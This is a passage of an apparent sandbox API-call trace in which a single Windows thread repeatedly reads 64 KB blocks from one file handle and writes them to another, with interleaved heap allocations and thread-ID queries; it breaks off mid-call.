GetCurrentThreadId () returned 0x9b0 [0194.226] GetCurrentThreadId () returned 0x9b0 [0194.226] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.226] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.227] GetCurrentThreadId () returned 0x9b0 [0194.228] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.229] GetCurrentThreadId () returned 0x9b0 [0194.230] GetCurrentThreadId () returned 0x9b0 [0194.230] GetCurrentThreadId () returned 0x9b0 [0194.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.230] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.231] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.232] GetCurrentThreadId () returned 0x9b0 [0194.232] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.233] GetCurrentThreadId () returned 0x9b0 [0194.233] GetCurrentThreadId () returned 0x9b0 [0194.233] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.234] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.235] GetCurrentThreadId () returned 0x9b0 [0194.235] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.237] GetCurrentThreadId () returned 0x9b0 [0194.237] GetCurrentThreadId () returned 0x9b0 [0194.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.237] GetCurrentThreadId () returned 0x9b0 [0194.238] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.238] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.239] GetCurrentThreadId () returned 0x9b0 [0194.239] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.240] GetCurrentThreadId () returned 0x9b0 [0194.240] GetCurrentThreadId () returned 0x9b0 [0194.240] GetCurrentThreadId () returned 0x9b0 [0194.240] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.241] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.242] GetCurrentThreadId () returned 0x9b0 [0194.242] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.246] GetCurrentThreadId () returned 0x9b0 [0194.246] GetCurrentThreadId () returned 0x9b0 [0194.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.247] GetCurrentThreadId () returned 0x9b0 [0194.247] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.248] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.249] GetCurrentThreadId () returned 0x9b0 [0194.249] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.250] GetCurrentThreadId () returned 0x9b0 [0194.250] GetCurrentThreadId () returned 0x9b0 [0194.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.250] GetCurrentThreadId () returned 0x9b0 [0194.250] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.252] GetCurrentThreadId () returned 0x9b0 [0194.252] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.253] GetCurrentThreadId () returned 0x9b0 [0194.254] GetCurrentThreadId () returned 0x9b0 [0194.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.254] GetCurrentThreadId () returned 0x9b0 [0194.254] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.265] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.266] GetCurrentThreadId () returned 0x9b0 [0194.266] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.266] GetCurrentThreadId () returned 0x9b0 [0194.266] GetCurrentThreadId () returned 0x9b0 [0194.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.267] GetCurrentThreadId () returned 0x9b0 [0194.267] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.267] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.268] GetCurrentThreadId () returned 0x9b0 [0194.268] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.270] GetCurrentThreadId () returned 0x9b0 [0194.270] GetCurrentThreadId () returned 0x9b0 [0194.271] GetCurrentThreadId () returned 0x9b0 [0194.271] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.272] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.273] GetCurrentThreadId () returned 0x9b0 [0194.273] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.273] GetCurrentThreadId () returned 0x9b0 [0194.273] GetCurrentThreadId () returned 0x9b0 [0194.274] GetCurrentThreadId () returned 0x9b0 [0194.274] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.274] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.275] GetCurrentThreadId () returned 0x9b0 [0194.275] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.276] GetCurrentThreadId () returned 0x9b0 [0194.277] GetCurrentThreadId () returned 0x9b0 [0194.277] GetCurrentThreadId () returned 0x9b0 [0194.277] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.277] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.279] GetCurrentThreadId () returned 0x9b0 [0194.279] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.279] GetCurrentThreadId () returned 0x9b0 [0194.279] GetCurrentThreadId () returned 0x9b0 [0194.279] GetCurrentThreadId () returned 0x9b0 [0194.280] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.280] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.281] GetCurrentThreadId () returned 0x9b0 [0194.281] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.310] GetCurrentThreadId () returned 0x9b0 [0194.310] GetCurrentThreadId () returned 0x9b0 [0194.311] GetCurrentThreadId () returned 0x9b0 [0194.311] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.314] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.315] GetCurrentThreadId () returned 0x9b0 [0194.315] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.316] GetCurrentThreadId () returned 0x9b0 [0194.316] GetCurrentThreadId () returned 0x9b0 [0194.316] GetCurrentThreadId () returned 0x9b0 [0194.316] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.317] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.318] GetCurrentThreadId () returned 0x9b0 [0194.318] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.319] GetCurrentThreadId () returned 0x9b0 [0194.319] GetCurrentThreadId () returned 0x9b0 [0194.320] GetCurrentThreadId () returned 0x9b0 [0194.320] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.320] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.321] GetCurrentThreadId () returned 0x9b0 [0194.321] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.321] GetCurrentThreadId () returned 0x9b0 [0194.322] GetCurrentThreadId () returned 0x9b0 [0194.322] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.322] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.323] GetCurrentThreadId () returned 0x9b0 [0194.323] GetCurrentThreadId () returned 0x9b0 [0194.324] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.324] GetCurrentThreadId () returned 0x9b0 [0194.326] GetCurrentThreadId () returned 0x9b0 [0194.326] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.327] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.328] GetCurrentThreadId () returned 0x9b0 [0194.328] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.328] GetCurrentThreadId () returned 0x9b0 [0194.329] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.329] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.330] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.331] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.332] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.333] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.333] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.334] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.335] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.337] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.338] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.339] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.339] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.340] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.341] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.342] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.342] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.343] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.344] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.344] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.345] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.379] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.380] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.381] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.382] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.382] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.383] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.384] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.385] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.386] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.386] WriteFile (in: hFile=0x39c, 